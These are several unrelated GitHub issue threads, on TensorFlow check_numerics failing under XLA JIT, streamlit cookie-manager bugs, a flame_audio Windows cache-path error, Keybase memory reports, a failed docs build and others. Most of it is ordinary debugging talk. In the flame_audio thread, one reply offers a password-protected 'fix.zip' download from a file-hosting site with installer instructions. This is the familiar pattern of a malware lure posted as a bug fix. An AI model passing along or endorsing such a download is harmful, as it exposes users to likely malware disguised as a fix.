File "/usr/local/lib/python3.8/dist-packages/ipykernel/kernelbase.py", line 381, in dispatch_queue
  yield self.process_one()
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 225, in wrapper
  runner = Runner(result, future, yielded)
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 714, in __init__
  self.run()
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 748, in run
  yielded = self.gen.send(value)
File "/usr/local/lib/python3.8/dist-packages/ipykernel/kernelbase.py", line 365, in process_one
  yield gen.maybe_future(dispatch(*args))
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 209, in wrapper
  yielded = next(result)
File "/usr/local/lib/python3.8/dist-packages/ipykernel/kernelbase.py", line 268, in dispatch_shell
  yield gen.maybe_future(handler(stream, idents, msg))
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 209, in wrapper
  yielded = next(result)
File "/usr/local/lib/python3.8/dist-packages/ipykernel/kernelbase.py", line 543, in execute_request
  self.do_execute(
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 209, in wrapper
  yielded = next(result)
File "/usr/local/lib/python3.8/dist-packages/ipykernel/ipkernel.py", line 306, in do_execute
  res = shell.run_cell(code, store_history=store_history, silent=silent)
File "/usr/local/lib/python3.8/dist-packages/ipykernel/zmqshell.py", line 536, in run_cell
  return super(ZMQInteractiveShell, self).run_cell(*args, **kwargs)
File "/usr/local/lib/python3.8/dist-packages/IPython/core/interactiveshell.py", line 2854, in run_cell
  result = self._run_cell(
File "/usr/local/lib/python3.8/dist-packages/IPython/core/interactiveshell.py", line 2881, in _run_cell
  return runner(coro)
File "/usr/local/lib/python3.8/dist-packages/IPython/core/async_helpers.py", line 68, in _pseudo_sync_runner
  coro.send(None)
File "/usr/local/lib/python3.8/dist-packages/IPython/core/interactiveshell.py", line 3057, in run_cell_async
  has_raised = await self.run_ast_nodes(code_ast.body, cell_name,
File "/usr/local/lib/python3.8/dist-packages/IPython/core/interactiveshell.py", line 3249, in run_ast_nodes
  if (await self.run_code(code, result,  async_=asy)):
File "/usr/local/lib/python3.8/dist-packages/IPython/core/interactiveshell.py", line 3326, in run_code
  exec(code_obj, self.user_global_ns, self.user_ns)
File "<ipython-input-5-1059bcc7b5d0>", line 28, in <module>
  model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)
File "/usr/local/lib/python3.8/dist-packages/keras/utils/traceback_utils.py", line 64, in error_handler
  return fn(*args, **kwargs)
File "/usr/local/lib/python3.8/dist-packages/keras/engine/training.py", line 1409, in fit
  tmp_logs = self.train_function(iterator)
File "/usr/local/lib/python3.8/dist-packages/keras/engine/training.py", line 1051, in train_function
  return step_function(self, iterator)
File "/usr/local/lib/python3.8/dist-packages/keras/engine/training.py", line 1040, in step_function
  outputs = model.distribute_strategy.run(run_step, args=(data,))
	 [[StatefulPartitionedCall]] [Op:__inference_train_function_1343]

@sachinprasadhs,
I was able to reproduce the issue on tensorflow v2.9, v2.11 and tf-nightly. Kindly find the gist of it here.

Hi, As the error suggests:
on XLA_GPU_JIT: DebugNumericSummaryV2 (No registered 'DebugNumericSummaryV2' OpKernel for XLA_GPU_JIT devices compatible with node {{node DebugNumericSummaryV2}}){{node DebugNumericSummaryV2}} it is unimplemented for tf.debugging.enable_check_numerics() for XLA JIT.
Currently we don't have wide support of XLA JIT across all the APIs.
We will consider this request to add support in our future implementation. Thanks!

@sachinprasadhs Thanks for this confirmation. The situation is a bit unfortunate as keras optimizers are JIT compiled by default (sice 3ad70f6cab8912860abb1b94c004e84b1114a6f7) and check_numerics therefore doesn't work out of the box on GPU. The workaround (explicitly disabling jit_compile on optimizer) is straightforward, however it took me some time to realize.. Would it make sense to add a note to docs?

@poulsbo, any ideas? As tf.function(jit_compile=True) is used in more places in both user code and Keras, it will become increasingly infeasible for users to use enable_check_numerics, as doing so will cause an error as long as any jit-compiled tf.function is created. Perhaps we should not insert the check numerics ops in jit-compiled tf.functions, although it would be bad to silently change behavior if a tf.function is jit-compiled.
@cheshire would it be possible to support enable_check_numerics in XLA? Could the bridge insert a custom calls after each op that would check for infs/nan, put the result of the check in a boolean, transfer the bool to the CPU, and raise an error if it's true? Of course this would be very very slow and effectively disable fusions.

would it be possible to support enable_check_numerics in XLA?

Yes. We don't even need custom-calls: can do with if-statements.

Of course this would be very very slow and effectively disable fusions

But then you are changing numerics, at which point you might as well disable XLA compilation entirely?
What is the goal of using enable_check_numerics? Is it to check the algorithm, or to check TF implementation?

The goal of enable_check_numerics is to debug where Inf/Nan values are coming from, by causing an error be thrown the first time any TF op has an output which is Inf or Nan. Even without XLA, enable_check_numerics can slightly change numerics due to difference in Grappler optimizations. I'm guessing the numeric difference doesn't cause issues in practice.

Yes. We don't even need custom-calls: can do with if-statements.

How can this be done with XLA today? How do you raise an error in HLO?

A custom-call can return a bad Status, which will be propagated at runtime. But yes then, custom-calls will be required.

Just to be clear, this is still an open issue right? There's no way to be running utilizing GPUs while executing this line:
    tf.debugging.experimental.enable_dump_debug_info(
        debugging_dir, tensor_debug_mode="FULL_HEALTH", circular_buffer_size=-1
    )

I have tried to utilize tf.config.set_soft_device_placement(True) but that didn't work for me as well.
The scenario is that my training only falls into Nans at the later stages and I'd 1) love to investigate using the tensorboard logs and 2) need that level of training

Hi,
Thank you for opening this issue. Since this issue has been open for a long time, the code/debug information for this issue may not be relevant with the current state of the code base.
The Tensorflow team is constantly improving the framework by fixing bugs and adding new features. We suggest you try the latest TensorFlow version with the latest compatible hardware configuration which could potentially resolve the issue. If you are still facing the issue, please create a new GitHub issue with your latest findings, with all the debugging information which could help us investigate.
Please follow the release notes to stay up to date with the latest developments which are happening in the Tensorflow space.


Update Vagrant docs

Simplify quick start process description

Should open on localhost:4200 not 8080 as the api is set up to respond to requests from 4200. Otherwise it will trigger CORS issues.

Which API? I was able to load the app on http://localhost:8080 with no apparent issues.

Merging, but will make a note about the port issue.


Uses 530G of RAM

Keybase GUI Version: 1.0.18-20170209165653+17b641d

This is an aspect of all go programs that has no impact on performance. It
is just virtual memory and does not correspond to physical memory.
On Sun, Feb 19, 2017 at 4:05 PM Ryan Marsh<EMAIL_ADDRESS>wrote:

Keybase GUI Version: 1.0.18-20170209165653+17b641d
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/keybase/client/issues/5938, or mute the thread
https://github.com/notifications/unsubscribe-auth/AA05__5P5TAONdE6zDh6GPxpQt12FAoQks5reK6KgaJpZM4MFl6D
.

Thanks. Thought maybe there was a memory leak.


DocsArchive-<IP_ADDRESS>Auto archive content

Please don't merge this PR until target archive repo PR https://github.com/OPS-E2E-PPE/docs-archive-test-target/pull/245 is merged into live branch.
Auto archive content to https://github.com/OPS-E2E-PPE/docs-archive-test-target.git

Docs Build status updates of commit 02a3127:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error]

Cannot sync git repo to specified commit because branch Release_Archive_master_2019-11-22-03-27-48 has been deleted or has been force pushed: fatal: couldn't find remote ref refs/heads/Release_Archive_master_2019-11-22-03-27-48

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


cannot get cookies

Have you tried cookie_manager.get_all().get(cookie)? If this doesn't work then you might need to refresh the CookieManager object before getting the cookie by placing this line before your get call: cookie_manager.get_all(key="A totally unique key just to trigger a refresh").

yes, i tried ,and cookie_manager.get_all returns  {}

This might not be the case here; but I had a similar issue and it was because the cookie is HttpOnly

Hi, how did you solve the issue @saedx1. I am using streamlit authenticator for my app which uses extra-streamlit-components' cookie manager. It was working fine when the app was deployed only on http, but after got the tls certificate and deployed the server with tls encryption, the cookie manage seems to have trouble loading cookies or saving them. Can you help please?

Is there a way to set/delete cookies that are HttpOnly?

Having this issue as well, works fine when running locally, but cookies are not set when running in streamlit cloud.
I tried to use cookie_manager.get_all().get(cookie) but this gives the following error:
There are multiple identical st.extra_streamlit_components.CookieManager.cookie_manager widgets with key='set'

Are you able to look into this @Mohamed-512 ?

The cookie manager worked before I upgraded from 0.1.3 to 0.2.1. The cookies can not be held in the cookie manager now. The streamlit page keeps being refreshed until I got the None from self.token. It worked just fine using the same streamlit version 1.15.0.

The cookie manager worked before I upgraded from 0.1.3 to 0.2.1. The cookies can not be held in the cookie manager now. The streamlit page keeps being refreshed until I got the None from self.token. It worked just fine using the same streamlit version 1.15.0.

Just tried cookie_manager.get_all().get(cookie). It works.

Hi everyone, In my case, I was trying the Code snippets in the readme.txt, and the problem was that the expiry date was hard coded,
        cookie_manager.set(             cookie, val, expires_at=datetime.datetime(year=2022, month=2, day=2)         )
So the Cookie is expired at creation time.

The new version of the package provides more control over the cookies set using CookieManager. Also it should fix pre existing bugs.


[flame_audio] FlameAudio.audioCache.clear error on Windows app

What happened?
I am creating a game on Windows. I am using flame_audio: ^2.10.2 for sounds, there is an issue when clearing cache: The audio cache cannot be deleted(Windows only, Android is ok).
The code:
await FlameAudio.audioCache.load(songName!); // This is ok.
...
FutureOr<void> ClearMusic() async {
  if (songName == null) {
    return;
  }
  if (!useAudioPlayer) {
    await FlameAudio.bgm.stop();
  } else {
    await musicPlayer!.stop();
  }
  await FlameAudio.audioCache.clear(songName!); // Error log.
}

And the error message is:
[ERROR:flutter/runtime/dart_vm_initializer.cc(40)] Unhandled Exception: FileSystemException: Cannot delete file, path = '/C:/Users/74218/AppData/Local/Temp/01c990ea-fe02-458e-9226-e4d9f83ce84f/melody/my_music.mp3`

From the error log I can see why the file cannot be found is that the file path is wrong, for windows uses backslashes () as directory separators.
What do you expect?
Be able to delete audio cache for Windows app.
Relevant log output
[ERROR:flutter/runtime/dart_vm_initializer.cc(40)] Unhandled Exception: FileSystemException: Cannot delete file, path = '/C:/Users/74218/AppData/Local/Temp/01c990ea-fe02-458e-9226-e4d9f83ce84f/melody/my_music.mp3`

Affected platforms
Windows
Other information
Are you interested in working on a PR for this?

[ ] I want to work on this

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@JankLai that code is from audioplayers package. Can you report this as an issue on that repo? https://github.com/bluefireteam/audioplayers

Ok, here is the issue: https://github.com/bluefireteam/audioplayers/issues/1836. Close this one.


WIP: Improvements to WebHostExtensions

Tweaks and changes to the Webview.WebHost API.

I'd like to have the ability to customize the WebView before it is used. I'm thinking another overload to the WebHostExtension that either allows you to pass in an alaredy built webview or a lambda that can produce a webview from a given IContent.
I've already made the change in this branch to create a custom IContent for rendering a WebHost in a WebView.